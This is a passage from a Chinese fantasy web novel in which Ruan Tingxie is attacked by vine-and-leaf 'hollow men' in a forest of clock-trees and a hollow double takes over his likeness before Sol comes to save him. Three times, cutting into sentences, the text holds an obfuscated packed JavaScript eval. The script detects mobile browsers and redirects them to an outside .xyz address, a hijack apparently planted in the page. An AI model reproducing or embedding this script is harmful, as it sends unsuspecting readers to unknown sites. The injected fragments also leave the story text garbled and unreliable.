阮廷榭下意识想躲开,不料下一秒枯叶翻腾,一条粗藤冲出落叶,直直竖起——像是找准了核心,瞬间搭建起一个人形脊梁。 阮廷榭:? 其余藤蔓迅速跟上,错落有致地构建起四肢的框架。或盘曲、或伸展,像模仿着人体骨骼的形态,透着一股自然的冷峻力量。 紧接着,大把大把的落叶被藤蔓裹挟而起,纷纷扬扬地贴合在半成型的架构上。 那些落叶有的完整,有的破碎,带着斑驳的色泽与腐朽的气息——却在这一刻被赋予了诡异的新生。 这是从落叶中攒出了一个“人”? 只能说勉强算个人吧,至少是人形。 阮廷榭仔细观察这人,很明显爬藤是他的骨架,枯叶是他的身躯。 那人站立起来足有一人多高,身形略显单薄。他一边走动,身上的枯叶就一边掉落,看起来非常诡异。 更诡异的是他的五官和胸口——那里全都空空如也。 深陷的眼窝宛如无尽的黑洞,本应是鼻子的地方只有一个微微下凹的浅坑,嘴巴的位置则是一道参差不齐的豁口,仿佛被岁月无情啃噬。 至于胸口,那是一颗心脏大小的空洞。 阮廷榭屏息瞪大双眼,这是一个……空心人。 忽然,更多的地下爬藤冲破落叶肿包,很快,一个个四肢齐全但五官空洞的“空心人”接连从落叶堆中缓缓站起。 他们迟钝地看看周围,仿佛刚从一场混沌的梦境中苏醒,就那样徘徊在眼前,有形而无神。 这让阮廷榭想起曾经看过的一个饮料广告。 在广告中,路上有一个彩色的人,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765442|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常走路。而周围有许多灰色的人,行尸走肉般斜着走在道路上。 现在它们就像那些人。 不知为什么,明明那些人毫无表情可言,还是让阮廷榭感到后背发凉。 又一棵大树轰然生长出来,走针哒哒哒哒响起,仿佛是一种催促,藤蔓人们猛地一怔,随后拔腿就往树的方向跑去。 路过阮廷榭身边时,他听到了一句话,那些人在说:“快点、快点、快点。” 阮廷榭看着他们相互冲撞着一路跑向大树,身上的枯叶簌簌飘落也全然不顾。 随后,角力的获胜者们迅速缠绕上去。 粗壮树干肉眼可见的迅速枯萎,变得焦黑卷曲;树枝无力地低垂下来,犹如一声叹息;叶片开始泛黄、凋零,地面于是积了更多落叶。 而那座时钟,指针依旧不紧不慢地走着,几乎成了这场掠夺之战的无情见证者。 最终所有叶片全部飘落,从那些藤蔓的缝隙中,掉出来了什么东西。 一开始,阮廷榭以为是那块时钟。 他走过去,从落叶中寻摸着,最后捡了出来才发现不是,那是一块透明树脂。或者也可以叫做,琥珀。 他不禁抬头,这样粗壮的一棵树,到凋零时刻,也只凝结了这样小小一块琥珀。 阮廷榭仔细端详手里的琥珀,他对这东西有一种别样的偏爱——因为索尔送他的第一份礼物,也是一颗琥珀。只不过比这个大,成色更好也更精致。 不过没关系,阮廷榭想着,他可以把这块琥珀带给索尔。 忽然,一阵拖沓的脚步声响起,阮廷榭抬头,发现眼前是一个空心人——而这人刚才显然失败了,并没有抢到大树上的位置。 空心人走近,来到他身边,向阮廷榭伸出一只手,像是在索要什么。 阮廷榭有点忐忑,背过手,虽然心里在打鼓,但还是镇定地问道,“……要什么?” 可是很奇怪的,这个问题像是把那人问住了。他怔愣着,看向自己的手——尽管那只是五根干枯的藤条,然后空洞的双眼又重新看向阮廷榭,发出干涩的音节:“不知道。” “不知道?”阮廷榭也有点懵,他皱起眉重复道,“不知道……自己要什么?” 藤蔓人的脑袋歪到左边,又歪到右边,茫然若失,似乎遇上了无法理解的难题,又说,“不知道……” 这是什么情况…… 阮廷榭思索片刻,重新换了个问题,开口问道:“那你知道,这里是什么地方吗?” 藤蔓人收回手,像是受到了巨大的挫败,自顾自地转身,缓缓离开,不断重复:“不知道,不知道,不知道……” 一问三不知,这一切都太古怪了。 阮廷榭注视着空心人远去的背影,决定不能再坐以待毙。 又一棵大树从另一个位置生长出来,新的走针声响起了。 刚才的空心人一怔,连同许多身影立刻调转方向再一次变得忙碌起来,发出熟悉的音节:“快点、快点、快点。” 快点、快点、快点…… 否则就要,来不及了。 32.丧钟响起 又一阵落叶疾风骤雨般落了下来。 阮廷榭伫立在枯叶漩涡之中,再次见证了一场骇人的树死藤活惨剧。 空心的藤蔓人们不断出现,又像复制粘贴一般浑浑噩噩徘徊在身边。 而那些镶嵌在树干高处的时钟们,指针依旧机械地走着,等待着下一个轮回的开启,或是下一场生命悲剧的重演。 阮廷榭拍了拍身上纷杂的落叶,开始思索,接下来该怎么办。 他要找索尔,就不能在原地待着。但这里……他看看周围的枯木,每一棵都像是被抽干了灵魂的卫士,毫无生气,显然不是一般的森林。 况且在森林中是最容易迷路的,得想个办法。 阮廷榭蹲下来,在医用包里翻找起来。他先是拿出了一卷绷带,将绷带撕成一段一段——那些大树干枯的躯干依旧矗立在原地,也许他可以把绷带绑在树枝上,当做记号。 地面深一脚浅一脚,阮廷榭小心地移动,避开空心人,把一整卷绷带都绑完之后,重新翻起了医用包。 忽然,在医用包的夹层外,摸到了一个硬东西的触感,“这是什么……”他拉开夹层,里面是一个陌生的小盒子。 很显然不是他放的,那就是索尔。 阮廷榭打开那个盒子,才惊喜地发现里面是一个备用装置——MR智能隐形眼镜。也就是埃文曾说过的,可以互通视野的装置! 太好了…… 阮廷榭连忙拿出来戴上,目前视野当中暂无变化,眼前仍只有他一个人的画面。但不管怎样,就算不能即时通讯,这也是唯一和大家联系上的可能。 做好这一切后,他开始往丛林更深处走去。 一步、两步、三步……阮廷榭数着自己的步数,估算距离。 然而,大约刚走了二百步,背后就传来巨大的一声“嗡——”!不同于走针哒哒的短响,而是如洪钟大吕的嗡鸣。殷天动地,传得很远。 紧接着,大地刹那间剧烈震颤起来——阮廷榭诧异地回过头,发现刚才已然枯死在地面上的大树躯干,如朽木摧折轰然坠地,扬起漫天枯叶与尘土。 阮廷榭:…… 余音绕林,他看了眼腕表的时间,是个整点。 搞不清楚到底是什么情况的阮廷榭只能猜测,所以是到了整点,那些留在地面上的树干就会重新入土? 但无论如何,都免不了要面对一个糟糕的事实——刚刚他做的所有记号,那些绑过的绷带现在决然是找不到了。 雪上加霜。 他已经接连路过十几棵树,躲避过无数枯藤,周围的掠夺战依旧在如火如荼地进行中,下一棵大树不知会在什么地方生出来。 回头已是一片空荡荡,恐怕还是要迷路了…… 阮廷榭轻叹一声,只能继续向前,在错综复杂的林间竭力寻找出路。 ……201、202、203……阮廷榭继续数着,走到234步的时候,忽然一块墙砖厚的破败树皮从高处直直坠落在他前方一米处,惊得他遽然停步,心若擂鼓。 这种程度的高空坠物,足以把他砸死。 阮廷榭抬头,看到那块被剥落的树皮来源于右侧五米处刚刚衰败的一棵大树。无数藤蔓还未尽数撤离,依旧寄生在树干,像是狠狠饱餐了一顿。 枯叶木屑簌簌坠落,即使他站在这里,都能听到树枝沉闷的断裂声。 还是得离这些树远一点,阮廷榭调整距离,继续往前走。 ——丝毫没有看见,就在刚刚那棵树上,最粗壮的一条爬藤,此时愈发生机勃勃从大树的残骸上高高扬起,仿佛在炫耀着这场生存之战的胜利。 犹如一条蟒蛇,它碾过其他藤蔓滑落在地,钻入落叶中。 一条浩大肿包鼓起又破裂,逐渐从中盘旋出一个“空心人”,它站起身——手里正拿着刚从那棵树上凝结掉下的琥珀。 那人抬起手,空洞的双眼先是对着天空看了看,又将那块琥珀放在胸口比了下,随后像是不太满意,顺手就丢了。 然后,那个空心人开始在周边的树下辗转翻弄,似乎在寻找其他散落的琥珀。 一颗、两颗……每当它找到一颗,藤条状的手都会将其轻轻拈起,举到眼前仔细观察,但不过片刻,又会将手中物悻悻抛下,任由其重新没入落叶之中。 看来是找得不大顺利。 琥珀越丢越多,其它藤蔓迟缓地移动起来,在附近发出细微声响,仿佛谁都不敢靠近,只敢去捡它丢弃不要的。 寻觅的范围越来越广,越走越向前,忽然……它身形一顿,像是看见了什么没见过的东西。 空心人开始悄无声息地向前靠近。 然而,即使藤蔓与枯叶只是轻轻触碰——阮廷榭还是警觉地回了头。 “……干什么?”他不自觉后退。 不得不说,阮廷榭的直觉还是很强的——这个人在跟踪他。而且,虽然在外型上和其他空心人别无二致,但这个人明显不同。 眼前的空心人拖着一条藤尾,并不说话,反而是围着阮廷榭缓缓走动起来,仿佛饶有兴趣。 最终,“目光”停留在阮廷榭胸口的位置,不动了。如果这人有眼珠的话,阮廷榭确定,他一定是在凝视着自己。 凝视片刻,空心人“看看”阮廷榭的脸,又低下头看看自己的胸口。忽然发出了一声啸叫。 阮廷榭感觉很不好,不想理这个看起来像蛇尾人身的怪物,转身向后加快步伐。 可空心人的爬藤移动速度很快,它追上阮廷榭,就像一块甩也甩不掉的口香糖。 一开始,它还只是拖着长长的藤尾,在阮廷榭周边打转,一边歪着头观察,一边回看自己的身体。似乎在逐个找出自己和眼前人的差别。 渐渐的,阮廷榭明显察觉到空心人越来越雀跃——行动速度开始变得越来越快,越来越近,藤蔓上的叶片蹭到他的衣服,发出嚓嚓的声响。 阮廷榭心中的恐惧愈演愈烈……他几乎就要跑起来了! 犹如猎豹按捺不住捕猎的急切,空心人一条藤蔓飞扑而来,缠住阮廷榭的右手。 “啊!”紧接着,是他的左脚,被藤蔓缠住猛地一拽,地面迅速迫近,他整个人跪在了厚厚的落叶上。 阮廷榭顾不上管膝盖的疼痛,他奋力将右手上的藤蔓扯开,刚去扯左脚上的,只见藤蔓向后一缩躲开,离开他的脚踝,又开始一点点缠绕他的身体。 这种打圈的缠绕方式阮廷榭看得太多太熟悉了,他恍然间反应过来,这个空心人是准备把他当成大树! “开什么玩笑!”阮廷榭大喊一声,用力拽着空心人的藤蔓,借力站起身,由此,二人展开一场角力。 空气中,依然回荡着机械的时钟走针哒哒声,仿佛是这场角力赛的计时与裁判。 恐惧没用,他只能应战。 阮廷榭几乎使出所有的力气,咬断了许多缠绕的藤蔓分支,他嘴边淤着血,眼神从未这样充满敌意。 在这一刻,他忽然觉得,也许他没有自己想得那么脆弱。 空心人收起那些断掉的藤蔓,立起身,它的身躯扭动、痉挛,发出令人毛骨悚然的噼啪声。 二人对峙,阮廷榭死死盯着空心人,“我不会输给你。” 空心人开始狂笑起来——如果那是笑的话,它身上的落叶簌簌落下,几乎只剩下骨架,笑完之后,又像是忽然发了怒,无数条断裂的藤蔓再次疯长,一拥而上。 两根藤条直接缠上阮廷榭的双脚,一把将他拉倒,倒吊起来。 刹那间眼前一黑,身上的医用包随即掉落,还未等阮廷榭伸手去够,藤条又拉着他向后扑去,阮廷榭整个人扑在地上,眼看着离医用包越来越远。周身尘土飞扬,他一手捂住口鼻,一手不断在地上摸索着,抓到什么石头就往身后扔去。 忽然,拉力松了一瞬,他迅速转头,原来是刚刚砸过去的石头当中有一颗琥珀。 而那颗琥珀引起了空心人极其片刻的注意力。 阮廷榭借此空档一个翻滚,贴近空心人,狠狠踹向那人身躯,一声闷响,干枯的落叶被踢得漫天炸开。 空心人向后趔趄,发出一阵低沉的嘶吼,双臂猛地一甩,数条藤蔓带着呼呼风声如箭阵般朝阮廷榭射来,直奔心脏。 原来它觊觎的是这个? 阮廷榭快速后撤,矮身一躲,几条藤鞭扑了个空。但还是被一条细藤缠住了左臂,他咬紧牙关,使劲一拽——竟硬生生地将那条藤蔓从空心人身上扯了下来。 空心人像是彻底失去耐心,啸叫连连,一条碗口粗的主藤蔓迅速出动,如巨蟒出击眨眼间直接缠上阮廷榭的脖颈。 霎那间双脚离地,眼前一白,阮廷榭扑通一声向后倒去。 移动的速度越来越快,空心人紧紧地攫住阮廷榭,像是如获至宝,不肯罢休。 阮廷榭被拖行在地上,两只手死死扒住藤蔓,不断挣扎。后背衣服被枯叶划破,脖颈被绞得更紧,喉间泛出恶心的感觉。他紧闭双眼,呼吸不畅,几乎感到窒息。 不能这样… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777681|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …阮廷榭强迫自己拉住头顶的藤蔓翻过身,下肢奋力地想要站起来。 然而就在此时,一条细细的藤蔓从他的腰间,无声蔓延至他被缠住的脖颈,一个尖锐的钝痛之后——注射器一般扎进了他的皮肤。 阮廷榭猛嘶了口气,太痛了! 他随即抬手,但还未及抓到那根藤蔓,阮廷榭就感觉自己的胳膊一酸,力气突然被抽走了……像是被卸掉了肌肉一般,四肢疲软的一刹那,他瘫倒在地,再次被拖拽起来。 眼前的世界渐渐模糊,想要奋力挣扎,可这次却仿佛蝼蚁撼树,丝毫不起作用,最后只有双腿还在下意识蹬踢着。 这一刻,阮廷榭忽然对那些大树感同身受。 他能感觉到藤蔓的尖端如同敏锐的触角,精准地寻找到“大树枝干”上的每一处养分输送通道,然后狠狠地刺入,开始贪婪地吮吸起来。 树死藤活,原来是这样。 时钟走针的声音在耳边成倍放大,又像被蒙上一层罩面。 阮廷榭兀地感到一阵奇异的晕眩。仿佛有什么力气之外的东西,再次被一缕一缕地抽离…… 那些东西,是什么呢? 无数片段如白驹过隙……从他的脑中闪过。 阮廷榭的瞳孔逐渐放大,他开始感受到一种强烈的空虚,那是一种被“夺走”了什么的感觉。 奇怪,和茫然还不一样。空虚,是有什么东西……正在一点点消失、变淡。 “不要……”他想说话,但发不出声。 他不要自己像一个玩具,正被一点点抽走身体中的棉絮。 “嗡——!!”远方巨大的洪钟声再次传来。 声震林间,大地剧颤,那些之前枯死的树干应声崩塌。仿佛是一种残酷的预告。 丧钟响起,为谁而鸣? 眼皮好重,阮廷榭有点恍惚,是走马灯吗?他要死了吗? 当初他那么努力想死的时候,都没有死成。 现在,怎么可以。 况且,他还没有见到索尔…… 周边的落叶窸窣作响,仿佛吊唁者杂沓的步伐,匆匆赶来参加一场仓促的葬礼。 “Ryan!” 朦胧中,听到有人在叫他。 紧接着,是利器划过的声音—— 脖子上紧紧勒住的力道顿时一松,阮廷榭感觉自己的移动,停止了。 “Ryan,你还好吗?” 熟悉,又焦急的声音……真的是索尔,他再次出现了,仿佛从天而降,一如从前。 可是阮廷榭几乎疲惫地睁不开眼。 “我来了,”索尔说,“别怕。” 此时的索尔半跪在阮廷榭身边,前后左右,是断成一节一节的藤蔓。 他一只手安抚着地下阮廷榭的脖颈,一手向前曲起,手中一把折刀,刀锋锐利,刀尖向前。整个人身体前倾,处在一种戒备的战斗状态。 没有听到阮廷榭的回音,索尔忽然觉出不对。 “你先看看他……我帮你看着周围。”一道温润如玉的声音在头顶响起。 “谢谢你,星星。”索尔道。 他将折刀迅速折起,蹙眉将阮廷榭扶起来。 阮廷榭的眼皮半开着,似乎无法做出任何回应。 索尔两手捧住他的下颌,强迫他抬起头,“看着我,Ryan。” 阮廷榭眼中有着不正常的失神,好几秒后,才像终于看清眼前人,迟钝开口,“索……” “索尔。” 不远处,一个近乎一样的声音传来,打断了阮廷榭的话。 索尔转过头,不可置信的瞳底映出对方的身影——刚刚还是被枯藤和落叶组成的空心人,此时却已经完全有了样貌和神态——那几乎是一个如假包换的阮廷榭! 除了胸口,仍然空洞。 那个“阮廷榭”左右晃了晃自己的头,似乎很是新奇。接着,他又逐个确认自己身躯的各个部分,四肢、手脚、皮肤、五官……这才终于露出了满意的笑容,配上阮廷榭本来就很大的半月形眼睛,显得天真而又残忍。 “索尔……”他迟疑着转了转眼珠,不像是在呼唤,倒想是在回忆。 索尔愕然地看着眼前这人的种种反应,又低头看了看自己怀里仍然眼神涣散的阮廷榭,心中有了猜测。 不消片刻,眼前的“阮廷榭”就眉眼弯弯,再次唤道,“索尔。” 这次的语气笃定起来—— “我的琥珀,我终于找到你了。” 33.琥珀之心 “各位,我找到Ryan了!” 传感耳机内,索尔的声音让众人精神一振。 “真的?”洛祈惊喜道,“你怎么办到的?” “这要多亏星星,”索尔笑了一下,“还有MR眼镜、地衣……和天使的号角。” 所有人:? “星星我大概知道是什么情况,”洛祈面带小白微笑,“其它的……怎么说?” “说来话长,等我处理完这边的情况再跟你们说,”索尔抱歉地笑笑,随后语气略沉了些,“只能说,还好我及时到了,否则后果……” 索尔深吸口气,没能继续说下去。 “那阮阮怎么样了?”洛祈瞬间察觉不妙,“还好吗?” “不太好,”索尔实话实说,语气变得警惕,“这里出现了,一个空心的Ryan。” “什么?”传感耳机内众人一起惊道,“空心的?!” “各位,”黑牒的声音适时出现,“我建议大家现在都佩戴上MR智能眼镜,以便互通彼此的视野信息。” 其余几人拿出隐形眼镜,都戴好后,视野当中瞬间变成五个画面——除自己的视野外,还新出现了另外四个画面。 以洛祈为例,他的视野中央还是自己的深黑焦土主画面,然而,在主画面的两边,上下排布着另外四个不同画面。 分别是许梦扬的海岛视野; 埃文的荆棘地(或者现在已经可以说是清泉地)视野; 剩下两个画面中的元素类似,枯藤、落叶,应该就是阮廷榭和索尔所在的地方。 只不过,其中一个画面上端被什么遮住了,只剩下大约一半篇幅。 洛祈即刻反应过来,那恐怕是阮廷榭的眼睛,没有完全睁开的缘故。 另外几人的视野画面,也发生了同样的变化。 “太神奇了,”许梦扬道,“原来这座岛上大家看到的都不一样!” “如果各位需要特别观察哪个视野画面,”黑牒道,“只需转动眼球,即可实现拖移并放大的效果。” 洛祈试着换了个画面,新奇道,“真的哎!” 他换的是索尔的画面。 ——画面中竟然真有个“空心”的阮廷榭! 只不过,怎么看怎么都感觉陌生。 “你这样说我太难过了,索尔。”画面当中,空心“阮廷榭”笑意盈盈地走近,丝毫未见任何难过的神色。从他开始有了这幅样貌,这笑容仿佛就焊在脸上了。 “别过来。”索尔扶涣散的阮廷榭坐起来,让他靠在臂弯,冷冷道。 阮廷榭的后颈上有两个伤口,那是比毒蛇的牙印还要大的两个血口。 索尔蹙着眉拿出医用包里的砂布和棉签。棉签先沾了些碘伏轻微消毒,随后将砂布轻轻贴在伤处,做暂时的止血。 随着那人逐渐靠近,忽然从他的头顶,翻出了什么东西。 “那是什么啊?”另一边,洛祈仔细观察道,“……好像既不是星星的墓碑,也算不上正常的星星。” 那是一个中空的星星,只有边框,没有实体。 恰在此时,他手腕上的水晶珠子缓缓转动起来,渐渐开始变成浑浊的绿色了…… 洛祈立刻打开行李箱,可是物件中却没有东西发出反应。 “他夺走了星星!”忽然,洛祈的星星惊道。 “什么?” “那个人头顶上的那颗星星,并不属于他!” 此言一出,所有人都把视野调成了索尔为主。 那颗中空的星星,边框正发出暗淡的绿光——很明显,那应该是阮廷榭的星星。 “中空的绿色边框,代表着主体缺失。”许梦扬头顶的星星说道。 “怎么会这样?”许梦扬焦急道。 “恐怕,”埃文的星星道,“他还夺走了别的什么东西。” 洛祈终于知道索尔口中的“不太好”是什么意思了,只是他想不通,“阮阮到底经历了什么啊?不是说星星,是我们的指导灵,会帮助我们的吗?” “……他的星星发不出声音了。”洛祈头顶的星星声音一抖,像是遇见什么悲伤的事,“中空的星星,没有办法发出声音。” “什么意思?”洛祈道,“是说你们星星也有类似于发声器官之类的东西吗?” “是啊,”星星仍有些沮丧,“我们星星,就是靠主体发声的。” “星星,也有主体啊?” “当然啦,”他的星星道,“星星的主体,也就是中间那部分,是主发声源。如果那部分被掏空了,星星即使想发出声音,也不能了。” “这样啊,所以说……”洛祈喃喃,“阮阮是因为这个才听不见星星的声音。” 索尔听着耳机内的讨论,明白了。 也就是说,当务之急,是夺回阮廷榭的星星。 “我和他,真的有那么不同吗?”空心阮廷榭耸了耸肩,仔细瞧着、等待索尔处理完伤口,依旧眉眼弯弯,摇了摇头,“怎么着我也比他强吧,你看那副虚弱的样子,不过一个生存废物罢了。” “闭嘴。”索尔抽出折刀指向他。 “好好好。”空心阮廷榭摆摆手,笑嘻嘻道,“不生气,不生气。” 索尔站起身,阮廷榭虚弱地靠在他肩头,依旧神情涣散。 而始作俑者徘徊在他们身边,似乎在盘算着怎么进行下一次的进攻。 耳边哒哒的走针声音吵得人心烦,这么始终对峙下去,不是个办法。 索尔一边与他保持相对位置,一边低声问星星,“这是什么东西?” “空心人。”星星语调不再温润,反而像萃了冰的玉,“枯藤岭盛产空心人。” “他到底要做什么?” “一般来说,这些空心人最终的追求,就是找到一颗合适的琥珀,填补身体核心的空缺。” 索尔看了看眼前的人,“他们都是这样吗?” “不,”星星回答得很干脆,“大多数空心人终其一生都忙忙碌碌,忙着生存,忙着掠夺,忙着寄生,却不得其所。只有少数邪恶的空心人……”星星加重了语气,“会直接窃取别人的果实。” “那……有什么办法对付他吗?” “关掉时钟。”星星道,“只有这里的时钟不再响起,空心人才会停止行动。” “没用的……”空心阮廷榭一副无所谓的样子,轻松一笑,仿佛认定他们做不到。 他再次观赏了一下自己的双手,随后,将两只手双双叠在空洞的胸口,献宝似的,又笑了起来,“你看……现在再看,我和他有哪里不一样吗?” 洛祈倒吸了一口凉气。 坦白讲,堵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784889|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住胸口的“阮廷榭”若论外型,那真的是和真阮廷榭十成十的像了。 但索尔并不为所动,他嘴角小幅勾了下,那是一个嘲讽的笑,“你?听好了,”他说,“你靠吸食别人的生命力而活,这就是你和他最大的不同。” “生命力?”空心阮廷榭放下双手,继续露出胸前的空洞,似乎懒得再装,“那又怎样?” “所谓生存之战不就是这样,赢者活,败者死。”他弯了弯眼睛,伸出手,“我的琥珀,你该待在更值得的人身边,你难道不觉得吗?” “少用这幅语气跟我说话,”索尔厌恶道,“还有,我不是你找的琥珀之心。” “你怎么会不是呢?”空心的阮廷榭指指自己的胸口,无辜地瞪大双眼,“你就在这里啊,我还是第一次感觉到这里是充盈的呢!”他滑动眼珠,接着娓娓道来,“哦,巴塞罗那寄宿家庭的楼下、语言学校课堂里、巴特罗之家、姜饼屋、马德里重遇、万圣之夜、提灯与南瓜头……好多好多啊。” “闭嘴!”索尔几乎从未用这样愤怒的语气跟人说过话,那是他们共有的回忆,“别以为你占据着Ryan的记忆,就真的是他!” “那不然呢?”空心阮廷榭有片刻怔愣,随后反唇驳斥,“人类不就是由记忆、和情感组成的么?我现在有了他的记忆,有了他的情感,我怎么就不是他了?” 索尔睨着他,半晌,忽然冷笑一声,“你最好是知道什么是情感。” 空心阮廷榭被怼得有些哑火,像是自讨了没趣,双手无意识扫了扫身上,他低下头,神色不明地看看自己的胸口。 “唉,那好吧……”他抬起头,收敛起笑容,仿佛不准备再废话了,“那我就只能,继续把那颗心也抢过来了!” 空心阮廷榭面容忽变,扭曲脖颈,双手一甩,横生的藤蔓便向着他们凌空扑来! 索尔带着阮廷榭顺势侧身,眼睛紧盯着藤蔓,手一抬,刀尖锋芒闪过,藤蔓前端被整截削掉,噼里啪啦掉了下来。 空心阮廷榭撤回藤蔓,当藤蔓再变成身体的一部分时——他刚才欣赏的双手已然被削掉了指尖,鲜血顺着伤口截面汩汩流下。 然而此时的空心人,却只是轻轻皱了皱眉,他紧盯着自己的手指,像是发现了什么宝藏,眼中迸现出更大的新奇,“这就是……血吗?” 他先将食指放进嘴里,眼睛蓦地睁大,尔后弯弯眯起,“唔……好甜,原来人类的血液是这个味道。” 另一头的洛祈皱起眉,心道变态。 然而,就像是饕餮尝到了美味的珍馐,空心阮廷榭满足地喟叹一声,“比那些大树的汁液美味多了。” “呵呵……哈哈哈……哈哈哈哈哈哈哈……” 看见他近乎癫狂地笑起来,索尔露出显而易见的嫌恶。 此时的他双眸沉醉,笑得妖冶,似乎血液让他陶醉,身后藤蔓开始四处摇动,仿佛窥见什么极乐之事。配上阮廷榭原本乖巧的面容,显得极其违和。 随后,空心阮廷榭将十个手指囫囵地塞进嘴里,鲜血溢满唇边,蹭到脸颊,勾勒出一片狰狞的血色笑容。 “连你带给我的伤口都是这么甜蜜,”他再一次看向索尔,双手从脸颊拉到白皙的脖颈,拉出十道血痕,那种迫切的眼神重新回来,“我是想要一颗琥珀之心,而你,比任何琥珀都让我满意。” 34.枯藤岭 空心阮廷榭垂下双手,鲜血开始顺着十指,一滴一滴落在枯叶上。 陡然间像是被什么气味引蛇出洞般,地面的枯叶辗转腾挪,窸窣作响,无数条藤蔓从四面八方汹涌地破土而出,直奔他们袭来。 “后面,索尔!”传感耳机中洛祈大声喊道。 ——那是来自阮廷榭的视野信息。 索尔一个侧身,避过后方的来袭,刀锋瞬间斩断藤蔓,他将阮廷榭拉到自己身后,回了一句“谢谢”。 阮廷榭此时并不能说完全没有意识,只是头脑和身体都很沉,他摇晃着喃喃道,“别……” 别管我了,他忽然想说。 但索尔就像有感应似的脱口道:“Ryan,我说过,不会放弃你的。” “你真是知道如何激怒我。”一个熟悉的声音响起,空心阮廷榭向他们扑来,但这次没有化成任何藤蔓,就那么直直向索尔的刀尖撞去。 熟悉的眉眼轮廓,属于阮廷榭的脸庞近在眼前,索尔心脏猛地一缩,仿佛被一只无形的手紧紧揪住,没忍住在最后关头收了刀,一阵寒意从脊梁骨蹿升至头顶。 “哈。”空心阮廷榭犹如阴谋得逞,“你果然舍不得。” 一个响指,无数藤蔓从地下跃起,卷起阮廷榭一拉,二人即刻分离。 “Ryan!” 索尔大喊的惊惧表情映在阮廷榭半开的瞳底,他被无数藤蔓裹挟着越拉越远。砰的一下,背部撞上了一颗大树躯干——那些藤蔓顺势将他捆绑在高处。 阮廷榭被撞的眼冒金星,喉间泛起了一丝淡淡的铁锈味。 索尔即刻追去,然而却在半途,被空心阮廷榭截住去路。 “我的琥珀,”空心阮廷榭笑道,“现在就让我们各凭本事……来得到你吧。” 他所说的“得到”,索尔算是看明白了,大约就是用暴力手段,打败自己——这样他就能“得到”了。 “你做梦。”索尔看了眼不远处被绑在树上的阮廷榭,拉开架势,曲起双臂,刀刃对向前方,“这一次……我不会手软的。” “是吗?” 后坐的双腿瞬间发力弹起,索尔迅雷般出击,率先发难——只见寒光一闪,他似乎是挥了一拳,那动作快得几乎让人看不清。 一秒,两秒,好像没什么感觉?没有被打到的感觉,更不要说其他形式的痛感。 虚晃一招? 空心阮廷榭刚想嘲笑索尔假把式,但正是那一笑,坏了。 那一笑拉动了面部神经,顿时,他感到一股细密但却在不断加剧的钝痛涌现出来,紧接着钝痛变成锐痛,随之而来的是鲜血的喷涌而出。 空心阮廷榭脸上,一道贯穿全脸的斜长刀痕正逐渐绽开。 这也许是刀太快的错,甚至都无法让人第一时间感觉到自己被割伤。 鲜血四溅。 空心阮廷榭双目圆睁,几近愤怒地哀嚎起来! 索尔强忍住心中的不适,以防御姿态拉开距离,垂眸不去看他的脸。 仿佛再也维持不住人形,空心阮廷榭痉挛扭曲,原地爆开数条藤蔓。每一条表面都布满了尖锐的倒刺,排山倒海般向索尔发出猛烈攻击。 索尔迅速地切砍应对,但双拳难敌四面八方,身上还是被尖刺划出一道道半深不浅的血痕。 “索尔……”阮廷榭在不远的树干高处看着底下的状况,焦急却发不出声,只感觉自己打在耳膜上的心跳比耳边的走针还快。 快刀难打持久战,索尔的动作渐渐变得吃力,每一次挥舞折刀,都像是用尽了全身的力气。 空心人见他负隅抵抗,愈发恼怒,上下齐发,四条藤蔓破土而出,圈住索尔的脚踝,让他动弹不得。紧接着,空心人抬手,一条粗藤顺臂而上,停在手掌,周围一圈钝刺犹如一根厚重的狼牙棒。 然后它带着复仇之势弹跳而起,朝着索尔狠狠兜头砸下。 千钧一发间,索尔向后倾身偏头躲闪,避过了要害。但仍被藤棒击中肩部,整个人重重地摔倒在地,握着的折刀也脱手而出。 “索尔!”眼前的画面似乎极大地刺激了涣散的阮廷榭,他大口喘气,强迫自己聚焦精神。 怎么办,怎么办? 耳边仍在哒哒作响,清晰可闻。 时钟…… 时钟?! 关掉时钟。 阮廷榭忽然想起刚才的一个声音——“只有这里的时钟不再响起,空心人才会停止行动。” 他倏地转头,寻找声源,发现树上镶嵌的时钟就在自己左肩斜上方! 阮廷榭用力抬起手臂,手肘狠狠撞上时钟表面。 没有用。 镶嵌的时钟纹丝不动。 他不信邪,继续肘击。 一下、两下、三下……不管有没有用,阮廷榭似乎都把一切的机会压在这上面,最后犹如发了狂一般,嘶吼起来,变本加厉地重击钟盘。 终于“喀嚓”一声,清脆的破裂响起。 表盘被击碎,指针顿时停滞。 仿佛谁按下了暂停键,一瞬间似乎所有时钟都停了响动。 藤蔓落地,地面的空心人猛地一怔,立刻回头去看到底发生了什么。 然而就在这时,不可思议的一幕,出现了—— 